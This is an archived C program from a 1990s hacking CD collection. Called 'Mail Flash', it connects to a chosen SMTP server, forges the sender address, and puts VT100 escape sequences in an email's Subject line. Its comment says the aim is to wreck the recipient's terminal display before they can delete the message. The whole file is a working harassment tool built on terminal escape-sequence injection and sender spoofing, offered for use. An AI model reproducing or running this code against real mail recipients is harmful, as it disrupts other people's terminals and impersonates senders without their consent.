home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / MFLASH2.ZIP / MFLASH2.C
C/C++ Source or Header  |  1996-02-09  |  2KB  |  68 lines

  1. /*
  2.  
  3.   Mail Flash - (C) 1994 CHA0S All Rights Reserved
  4.   
  5.   This is a simple program which demonstrates the problem with certain
  6.   parts of VT100 emulation.  Previously similar programs made use
  7.   of talkd, but a user could stop attempts by simply entering
  8.   "mesg n".  This program sends the "flash" string which will really
  9.   screw over a terminal in the SUBJECT header of e-mail.  E-Mail readers
  10.   such as pine show you this before you can decide to even delete the mail!
  11.   
  12.   Support has been added to choose your own SMTP server for neat-o hostname
  13.   spoofing.  (krad!)
  14.   
  15. */  
  16.  
  17. #include <stdio.h>
  18. #include <sys/param.h>
  19. #include <sys/socket.h>
  20. #include <netinet/in.h>
  21. #include <netdb.h>
  22. #include <stdarg.h>
  23.  
  24. #define bcopy(x, y, z) memmove(y, x, z)
  25. #define bzero(y, z) memset(y, 0, z)
  26.  
  27. void smtp_connect(char *server);
  28.  
  29. int thesock; /* the socket */
  30.  
  31. void smtp_connect(char *server)
  32. {
  33.   struct sockaddr_in sin;
  34.   struct hostent *hp;
  35.   
  36.   hp = gethostbyname(server);
  37.   if (hp==NULL) {
  38.     printf("Unknown host: %s\n",server);
  39.     exit(0);
  40.   }
  41.   bzero((char*) &sin, sizeof(sin));
  42.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  43.   sin.sin_family = hp->h_addrtype;
  44.   sin.sin_port = htons(25);
  45.   thesock = socket(AF_INET, SOCK_STREAM, 0);
  46.   connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
  47. }
  48.  
  49. void main(int argc, char **argv)
  50. {
  51.   char buf[1024];
  52.   
  53.   if (argc != 4) {
  54.     printf("usage: mflash smtp_server from to\n");
  55.     exit(0);
  56.   }
  57.   printf("Connecting to SMTP Server %s\n",argv[1]);
  58.   smtp_connect(argv[1]);
  59.   printf("Sending Mail Flash To %s\n",argv[3]);
  60.   sprintf(buf, "helo a\nmail from: %s\nrcpt to: %s\ndata\nSUBJECT: \033c\033(0\033#8\033[1;3r\033[J\033[5m\033[?5h\n.\nquit\n",argv[2],argv[3]);
  61.   send(thesock, buf, strlen(buf), 0);
  62.   /* I am not sure how to check when this buffer is done being sent.
  63.      If you are having any problems increase the sleep time below! */
  64.   printf("Sleeping To Make Sure Data Is Sent ...\n");
  65.   sleep(3);
  66.   printf("Done!\n");
  67. }
  68.